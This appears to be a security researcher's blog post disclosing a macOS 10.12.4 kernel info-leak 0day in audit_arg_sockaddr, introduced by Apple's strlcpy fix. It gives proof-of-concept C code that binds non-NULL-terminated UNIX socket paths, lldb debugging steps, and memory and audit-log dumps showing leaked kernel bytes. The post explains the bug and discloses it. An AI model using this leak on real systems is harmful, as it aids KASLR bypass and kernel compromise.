Two Bugs, One Func()

› part ii: a kernel info leak 0day, thanks to Apple's fix

love these blog posts? support my tools & writing on patreon ! Mahalo :)

Background

The first part of this multi-series blog post showed how to track down the cause of a kernel panic on macOS 10.12.3. In short, turned out that if a UNIX socket structure (

sockaddr_un

) was allocated exactly at the end of a memory page with an unmapped page adjacent, an off-one-error read error would trigger a kernel panic if auditing was enabled:Sure you could panic a system, however, as far as I could tell this bug was not exploitable. That is to say, from a security point of view it was rather uninteresting.For this second blog post, I originally planned to briefly cover Apple's fix for this bug, before diving into a second more serious bug I discovered within the same

audit_arg_sockaddr

function. This second bug, a ring-0 heap overflow, provided a mechanism to execute arbitrary code within the context of the kernel. Ya, quite bad!However after spending about 2 seconds looking at their 'fix' (released in macOS 10.12.4), it was apparent that not only did it not address the issue, but actually made things far worse by introducing a new security vulnerability :( Note that at this time, this bug is a 0day - though requires network level (

'nt'

) auditing be enabled (which can be turned on with root privileges).Recall that the buggy code in macOS 10.12.3 was simply trying to make a copy of a UNIX socket's path,

sun_path

, for auditing purposes. Since such socket paths do not have to be NULL-terminated, the code attempted to account for this...and did so almost correctly. As we showed in the previous blog though, the following chunk of Apple code,

sun->sun_path[slen] != 0

contains an off-one-error read error that could lead to a kernel panic:

void audit_arg_sockaddr(struct kaudit_record *ar, struct vnode *cwd_vp, struct sockaddr *sa)

{

int slen;

struct sockaddr_un *sun;

char path[SOCK_MAXADDRLEN - offsetof(struct sockaddr_un, sun_path) + 1];



...

bcopy(sa, &ar->k_ar.ar_arg_sockaddr, sa->sa_len);

switch (sa->sa_family) {



...

case AF_UNIX:

sun = (struct sockaddr_un *)sa;

slen = sun->sun_len - offsetof(struct sockaddr_un, sun_path);



if(slen >= 0){

/*

* Make sure the path is NULL-terminated

*/

if(sun->sun_path[slen] != 0){

bcopy(sun->sun_path, path, slen);

path[slen] = 0;

audit_arg_upath(ar, cwd_vp, path, ARG_UPATH1);

} ...

}



In 10.12.4, Apple tried to 'fix' the kernel panic I reported by replacing the buggy line of code with the following:

/*

* Make sure the path is NULL-terminated

*/

strlcpy(path, sun->sun_path, sizeof(path));

audit_arg_upath(ar, cwd_vp, path, ARG_UPATH1);

This fix makes absolutely zero-sense - and actually introduces an even worse bug! Why? In short,

strlcpy

simply copies until it finds a NULL (0x0) or until the destination buffer (

'path'

) is full. As UNIX socket paths (

sun_path

) don't have to be NULL-terminated this code can still panic the box (as it reads past the end of the

sockaddr_un

structure), or worse yet leaks random kernel memory into an audit path that's accessible in user-mode! #facepalmLet's take a closer look at all of this. First showing how to create a UNIX socket that triggers this buggy code, and then dynamically debugging the vulnerability in ring-0. We'll end by showing how to dump kernel memory into user mode, thanks to Apple's new 'fix' :P

UNIX Sockets

First one of my favorite nerd jokes:Now that's out of the way, let's show how to create a UNIX socket that has a non-NULL-terminated path. Recall that UNIX sockets are described via the

sockaddr_un

structure, which is declared in

sys/un.h

$ cat /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs

/MacOSX.sdk/usr/include/sys/un.h



/*

* [XSI] Definitions for UNIX IPC domain.

*/

struct sockaddr_un {

unsigned char sun_len; /* sockaddr len including null */

sa_family_t sun_family; /* [XSI] AF_UNIX */

char sun_path[104]; /* [XSI] path name (gag) */

};





Creating a UNIX socket is simple! First, create a socket of type

AF_UNIX

then initialize a

sockaddr_un

structure with the socket's path. Pass this to the

bind

function to, well bind, the path to the socket. Confirm via the

getsockname

function.

#define SOCK_PATH "/tmp/unixSocket"



int unixSocket = -1;

struct sockaddr_un addr = {0};

int length = sizeof(struct sockaddr_un);



//create socket

unixSocket = socket(AF_UNIX, SOCK_STREAM, 0);



//initialize address

addr.sun_len = length;

addr.sun_family = AF_UNIX;

strcpy(addr.sun_path, SOCK_PATH);



//bind path

bind(unixSocket, (struct sockaddr *)&addr, length);



//reset

memset(&addr, 0x0, sizeof(struct sockaddr_un));



//get name

getsockname(unixSocket, (struct sockaddr *)&addr, (socklen_t*)&length);

printf("bound path: %s

", addr.sun_path);



When run, the following code successfully creates a UNIX socket, binds it to

/tmp/unixSocket

, then retrieves the bound name in order to print it out.Since the open-source part of macOS 10.12.4 was just released , it is pretty easy to see what's going on behind the scenes. Specifically let's look at how a path such as

'/tmp/unixSocket'

gets bound to a socket.The

bind

function is implemented in the kernel, within the

uipc_syscalls.c

file. After various sanity checks

bind

invokes either the

getsockaddr

or

getsockaddr_s

function to bind the path the socket:

int bind(__unused proc_t p, struct bind_args *uap, __unused int32_t *retval)

{

struct socket *so;

error = file_socket(uap->s, &so);

...



if (uap->namelen > sizeof (ss)) {

error = getsockaddr(so, &sa, uap->name, uap->namelen, TRUE);

} else {

error = getsockaddr_s(so, &ss, uap->name, uap->namelen, TRUE);

...





Both functions are similar (

getsockaddr

dynamically allocates a

struct sockaddr

for larger paths) and basically just copy in (bind) the path from user mode:

static int getsockaddr_s(struct socket *so, struct sockaddr_storage *ss, user_addr_t uaddr, size_t len, boolean_t translate_unspec)

{

...



bzero(ss, sizeof (*ss));

error = copyin(uaddr, (caddr_t)ss, len);



...



ss->ss_len = len;





Pretty straightforward, ya? The most interesting for us here though, is to note that nothing in this code ensures that the socket path is NULL-terminated (

copyin

just does a straight byte-by-byte copy). This is by design, for reasons explained in the following quote:" ( source Other sources such as 'Addressing within the AF_UNIX Domain' confirm this, stating, "The

sun_path

field contains the name of the file which represents the open socket. It need not be null delimited."However, it should be noted that since code within both

getsockaddr

and

getsockaddr_s

(such as

bzero(ss, sizeof (*ss)))

zeros out the entire

sockaddr_storage

structure before copying in the name - if the length of the socket path doesn't take up the full (entire)

struct sockaddr_storage

('

ss

') it will inadvertently be NULL-terminated. This just means, create a long enough path and it won't be terminated with a NULL (

0x0

).Below is a snippet of code that creates a 'legal' socket path that does fill up the entire structure, thus ensuring it is not NULL-terminated.

//create socket

int unixSocket = socket(AF_UNIX, SOCK_STREAM, 0);



//alloc/fill

char* addr = malloc(128);

memset(addr, 0x41, 128);

((struct sockaddr_un*)addr)->sun_len = 128;

((struct sockaddr_un*)addr)->sun_family = AF_UNIX;



//bind

bind(unixSocket, (struct sockaddr *)addr, 128));



What's special about the size 128? This is the maximum size (

'_SS_MAXSIZE'

) of a

struct sockaddr_storage

, the structure

getsockaddr_s

populates with the path name. This structure is declared in

bsd/sys/socket.h

/*

* RFC 2553: protocol-independent placeholder for socket addresses

*/

#define _SS_MAXSIZE 128

#define _SS_ALIGNSIZE (sizeof(int64_t))

#define _SS_PAD1SIZE (_SS_ALIGNSIZE - sizeof(u_char) - sizeof(sa_family_t))

#define _SS_PAD2SIZE (_SS_MAXSIZE - sizeof(u_char) - sizeof(sa_family_t) - \

_SS_PAD1SIZE - _SS_ALIGNSIZE)





struct sockaddr_storage {

u_char ss_len; /* address length */

sa_family_t ss_family; /* address family */

char __ss_pad1[_SS_PAD1SIZE];

int64_t __ss_align; /* force desired structure storage alignment */

char __ss_pad2[_SS_PAD2SIZE];

};



Executing the above code, creates a UNIX socket that fully fills up a

sockaddr_storage

structure, thus ensuring the path component is not NULL-terminated. Again, this is perfectly legal as there is nothing saying the path has to be NULL-terminated :)If auditing is enabled, the

audit_arg_sockaddr

function will be invoked to audit socket operations, such as when a UNIX socket is bound. Again; here is Apple's new (macOS 10.12.4) code for auditing UNIX sockets within the

audit_arg_sockaddr

function:

char path[SOCK_MAXADDRLEN - offsetof(struct sockaddr_un, sun_path) + 1];



bcopy(sa, &ar->k_ar.ar_arg_sockaddr, sa->sa_len);



case AF_UNIX: sun = (struct sockaddr_un *)sa;

if (sun->sun_len > offsetof(struct sockaddr_un, sun_path)) {

/*

* Make sure the path is NULL-terminated

*/

strlcpy(path, sun->sun_path, sizeof(path));

audit_arg_upath(ar, cwd_vp, path, ARG_UPATH1);

}

...

In short, it tries to make a copy (via the

strlcpy

function) of the socket's path. The source buffer is the UNIX socket's path,

sun_path

, while the destination is a variable named

'path'

The first (obvious?) issue is that since the UNIX socket's path,

sun_path

, isn't NULL terminated,

strlcpy

will just keep copying random bytes into

'path'

until it encounters a NULL (

0x0

), or until the

'path'

buffer (size:

SOCK_MAXADDRLEN - 2 + 1 = 254

) is filled up. If sensitive kernel memory (pointers, etc) are found adjacent to the UNIX socket structure, these could be (partially) copied into the path buffer. The following diagram illustrates this foo'bar'd copy, showing the

strlcpy

copying 'extra' bytes into

'path'

until it encounters a NULL:This may be used to bypass KALSR as the path (now appended with random kernel data) is propagated to user-mode (specifically, it makes it way into the audit database):

//send f**k'd up path to user-mode

audit_arg_upath(ar, cwd_vp, path, ARG_UPATH1);



And second what if the socket structure (containing the non-NULL-terminated path) is allocated immediately before an unmapped page? If you guessed kernel-panic, you'd be right:

A Live Look

Disable SIP

Boot into Recovery Mode, open a terminal and type: csrutil disable , then reboot # csrutil disable

Successfully disabled System Integrity Protection.

Please restart the machine for the changes to take effect.



Enable Debugging in the Debuggee

In a terminal on the machine you are going to debug (I use a VM), type: sudo nvram boot-args="debug=0x144 pmuflags=1 -v"



Then reboot.

Download & Install Apple's 'Kernel Debug Kit'

This requires an Apple Developer ID, and can be downloaded from here. This should be installed on the host machine.

Start lldb

On the debugger machine (i.e. the host, not the VM) launch lldb in a terminal. Then execute the following: (lldb) target create /Library/Developer/KDKs/KDK_10.12.4_16E195.kdk/System/Library/Kernels/kernel



(lldb) command script import "/Library/Developer/KDKs/KDK_10.12.4_16E195.kdk/System/Library/Kernels/kernel.dSYM/

Contents/Resources/DWARF/../Python/kernel.py"

Generate a 'Non-Maskable Interrupt' (NMI)

On the debuggee machine (the VM), hit command+alt+control+shift+esc (all at once) to generate a non-maskable interrupt. This will trigger a catchable debug event!

Connect to the Debuggee

Hop back to the debugger machine (the host) and type: kdp-remote <ip addr of vm>

This will establish a remote debugging session!

(lldb) kdp-remote 192.168.0.53

Version: Darwin Kernel Version 16.5.0

Target arch: x86_64



...



Process 1 stopped

* thread #2: kernel`Debugger [inlined] stop reason = signal SIGSTOP



Let's see this dynamically in action! The goal is to leak kernel memory from user-mode via an audited socket path.First we need to setup a kernel debugger. I blogged about this previously - but will briefly reiterate the steps here:Ok, so now we have the ability to 'remotely' debug a kernel of another macOS box. Neat :)Let's start by setting a breakpoint on

bind

(lldb) b bind

Breakpoint 1: where = kernel`bind + 37 at uipc_syscalls.c:307, address = 0xffffff800a9d9175



Since this breakpoint will be triggered countless times (anytime any code on the system binds an address or path to a socket), let's instruct the debugger to only break on certain sockets. Specifically ones that are exactly 128 bytes in length (i.e. the 'evil' UNIX sockets we are creating with non-NULL-terminated paths). We can do this with the

br 'mod'

command. Note that the size of the socket being passed into

bind

will be at offset

+0x10

within a structure pointed to by

$RSI

(lldb) br mod -c '*(int*)($rsi+0x10)==128'



In the VM (the macOS instance we are debugging), execute the code that creates a UNIX socket with an non-NULL-terminated path:

//create socket

int unixSocket = socket(AF_UNIX, SOCK_STREAM, 0);



//alloc/fill

char* addr = malloc(128);

memset(addr, 0x41, 128);

((struct sockaddr_un*)addr)->sun_len = 128;

((struct sockaddr_un*)addr)->sun_family = AF_UNIX;



//bind

bind(unixSocket, (struct sockaddr *)addr, 128));





This will trigger our conditional breakpoint set on

bind

, to be hit:

Process 1 stopped

* thread #5: kernel`bind(p=0xffffff8018679960, uap=0xffffff801952ecc0, retval=0xffffff801952ed00) stop reason = breakpoint 1.1





(lldb) bt

frame #0: 0xffffff80101d9175 kernel`bind()

frame #1: 0xffffff8010225695 kernel`unix_syscall64()

frame #2: 0xffffff800fc9dd46 kernel`hndl_unix_scall64



Dumping the arguments (specifically the

bind_args

structure, the second arg (thus in

$RSI

)) we can confirm that yes, this is a stocket of size 128:

p *(struct bind_args *)$rsi

(struct bind_args) $20 = {

...

name = 140241106108416

namelen = 128

...

}



We cannot (yet) access the name (at address

140241106108416/0x7f8c6d500000

), as that's a user-mode address (which AFAIK, can't be directly accessed via

lldb

in the context of the kernel). But no worries, we just set a breakpoint just after the

copyin

function call (in the

getsockaddr_s

function - which actually has been compiled inline, into the

bind

function). As

copyin

copies the UNIX socket's name into kernel mode, it will then be viewable in the debugger.

br s -a 0xffffff80101d928e

Breakpoint 2: where = kernel`bind + 318 [inlined] copyin + 25 at uipc_syscalls.c:2822, address = 0xffffff80101d928e



Once that breakpoint is hit, we can dump the 'bound' socket (stored in

$RBX

p *(struct sockaddr_storage *)$rbx

(struct sockaddr_storage) = (ss_len = '\x80', ss_family = '\x01', __ss_pad1 = char [6] @ 0x00007fa41f3ed152, __ss_align = 4702111234474983745, __ss_pad2 = char [112] @ 0x00007fa41f3ed160)





(lldb) x/128xb $rbx

0xffffff806f40bea0: 0x80 0x01 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bea8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40beb0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40beb8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bec0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bec8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bed0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bed8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bee0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bee8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bef0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bef8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bf00: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bf08: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bf10: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bf18: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41



size: 0x80/128d



type: 0x01 , AF_UNIX

,

path: 0x41414141414141... (not NULL-terminated!)

As the following shows, that's our socket!With auditing is enabled on the VM, set a breakpoint within

audit_arg_sockaddr

, the buggy function. Specifically, set a breakpoint on the code within the function that handles the auditing of UNIX sockets (address:

0xffffff8010120e47

):

audit_arg_sockaddr:

movzx eax, byte ptr [rbx+1]

cmp eax, 1

jz short AF_UNIX



0xffffff8010120e47 AF_UNIX:

movzx eax, byte ptr [rbx]



(lldb) br s -a 0xffffff8010120e47

Breakpoint 4: where = kernel`audit_arg_sockaddr + 135 at audit_arg.c:381, address = 0xffffff8010120e47



Once this breakpoint is hit, we can dump that socket that is being audited to confirm it's the UNIX socket (in

$RBX

, same address

0xffffff806f40bea0

) we just created:

Process 1 stopped

* thread #5: kernel`audit_arg_sockaddr(ar=0xffffff80176a87c0, cwd_vp=0xffffff801921d000, sa=0xffffff806f40bea0) + 135 stop reason = breakpoint 4.1





(lldb) p *(struct sockaddr *)$rbx

(struct sockaddr) $48 = (sa_len = '\x80', sa_family = '\x01', sa_data = char [14] @ 0x00007fa422908a42)



(lldb) x/128xb $rbx 0xffffff806f40bea0: 0x80 0x01 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bea8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41.....



Single stepping in the debugger, we hit the 'buggy' strlcpy line:

//source code

strlcpy(path, sun->sun_path, sizeof(path));



//disassembly

copy:

mov cl, [rbx+rax+2]

mov [rbp+rax+path], cl

test cl, cl

jz short done

inc rax

cmp rax, 0FDh

jnz short copy



mov [rbp+rax+path], 0





$RAX : 0-based index/counter of the bytes to copy

: 0-based index/counter of the bytes to copy

$RBX+2 : source bytes ( sun->sun_path )

: source bytes ( )

$RBP-0x130 : destination buffer ( path )



In the above disassembly:Once the

strlcpy

loop has completed, we can dump the registers:

(lldb) reg read

General Purpose Registers:

rax = 0x000000000000007f

rbx = 0xffffff806f40bea0

...

rip = 0xffffff8010120e99 kernel`audit_arg_sockaddr + 217



Number of Bytes Copied: 127 ( $RAX )

Recall the path of the UNIX socket, sun_path , starts at offset 0x2 inside the sockaddr_un structure . Since the socket we created was 128 bytes, this means the path is 126 (128 - 2). Since 127 bytes were copied, this means one extra 1 byte outside the socket was leaked 'into' the 'path' variable.



Why just one? If we dump the memory just past the sockaddr_un structure we can see it happens to be a 0xd7 0x00 . The strlcpy function stops when it hits a 0x0 (NULL). Thus only one byte, 0xd7 was copied: (lldb) x/8xb $rbx+128

0xffffff806f40bf20: 0xd7 0x00 0x52 0x44 0x1f 0x67 0x61 0x7f



Of course, if there wasn't a random 0x0 just 2 bytes outside the socket structure, strlcpy would have kept on copying....until a 0x0 was hit, or until 'path' was filled up!

Bytes Copied into 'path' ( $RBP-0x130 ): x/s $rbp-0x130

0xffffff806f40bd40: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...AAAAAAAAAAA\xffffffd7"





(lldb) x/127xb $rbp-0x130

0xffffff806f40bd40: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bd48: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bd50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bd58: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bd60: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bd68: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bd70: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bd78: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bd80: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bd88: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bd90: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bd98: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bda0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bda8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bdb0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f40bdb8: 0x41 0x41 0x41 0x41 0x41 0x41 0xd7



From this, we can see:Woohoo a corrupted path!!Want to leak more bytes into the path? Of course you do :) Just increase the size of the socket above 128. This will cause the

bind

function to allocate the socket structure on the heap (via

getsockaddr

) instead of the stack.

int bind(__unused proc_t p, struct bind_args *uap, __unused int32_t *retval) {

//paths greater than 128

// ->invoke getsockaddr to dynamically allocate via the heap

if (uap->namelen > sizeof (ss))

{

error = getsockaddr(so, &sa, uap->name, uap->namelen, TRUE);

} else {

error = getsockaddr_s(so, &ss, uap->name, uap->namelen, TRUE);

}

....



static int getsockaddr(struct socket *so, struct sockaddr **namp, user_addr_t uaddr, size_t len, boolean_t translate_unspec)

{

...

MALLOC(sa, struct sockaddr *, len, M_SONAME, M_WAITOK | M_ZERO);

error = copyin(uaddr, (caddr_t)sa, len);





Testing showed such heap-based socket structures allowed for longer leaks (i.e. more random kernel bytes were copied into the audited

'path'

variable before a

0x0

was hit). For example, a socket of size 200, leaked 0x10 (16) bytes:

(lldb) x/255xb $rbp-0x130

x/255xb $rbp-0x130

0xffffff806f26bd40: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bd48: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bd50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bd58: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bd60: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bd68: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bd70: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bd78: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bd80: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bd88: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bd90: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bd98: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bda0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bda8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bdb0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bdb8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bdc0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bdc8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bdd0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bdd8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bde0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bde8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bdf0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26bdf8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xffffff806f26be00: 0x41 0x41 0x41 0x41 0x41 0x41 0x90 0x99

0xffffff806f26be08: 0x0b 0x0f 0x07 0x54 0x38 0xc4 0xba 0x22

0xffffff806f26be10: 0x83 0x3b 0x9e 0x56 0xd5 0xe0 0x00 ....



Moreover, there is no limit to the number of times you can leak kernel data. Just keep creating and binding UNIX sockets :)A'ight, so it easy to get the kernel to leak bytes into the audit path for UNIX socket. How do we access this leak in user-mode? That is to say, where do these leaked kernel bytes show up? In the audit log!Audit logs are stored in

/var/audit

. If we dump the logs (via hexdump), guess what! there's the leaked kernel bytes:

$ sudo hexdump -C /var/audit/20170406055225.not_terminated | less



00000110 2f 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |/AAAAAAAAAAAAAAA|

00000120 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|

*

000001d0 41 41 41 41 41 41 41 90 99 0b 0f 07 54 38 c4 ba |AAAAAAA.....T8..|

000001e0 22 83 3b 9e 56 d5 e0 00





Leaking random kernel memory to user-mode is of course a security issue. It's possible sensitive information (maybe partial hashes, password, etc) by be leaked, or partial pointer addresses that would allow a local attacker to defeat KASLR.

Conclusions

did not fix the kernel panic



introduced a kernel info leak, that could leak sensitive information or be used to bypass KASLR



In my last blog post, we discussed an off-by-one bug I found in the macOS 10.12.3 kernel that could cause a kernel panic. I responsible reported this bug to Apple:I also reported a second bug unique bug, a heap-overflow in the macOS 10.12.3 kernel (stay tuned for a blog on this!). Apple closed both bugs as a duplicate of some other single bug (huh?). Worse though, as we showed in this blog post, their 'fix' (in macOS 10.12.4) for the off-by-one bug:Though this bug is an unpatched 0day, it requires auditing to be enabled (which can be turned on if you have root privileges). Moreover, accessing (reading) the leaked kernel memory in the audit log requires root privileges.On macOS though, with root privileges one still cannot bypass SIP, nor load unsigned code into the kernel. Thus advanced attackers, even with root privileges, often will exploit a kernel bug to fully compromise a system. Such bugs, generally require a KASLR bypass...such as the one we described here. Don't blame me ;)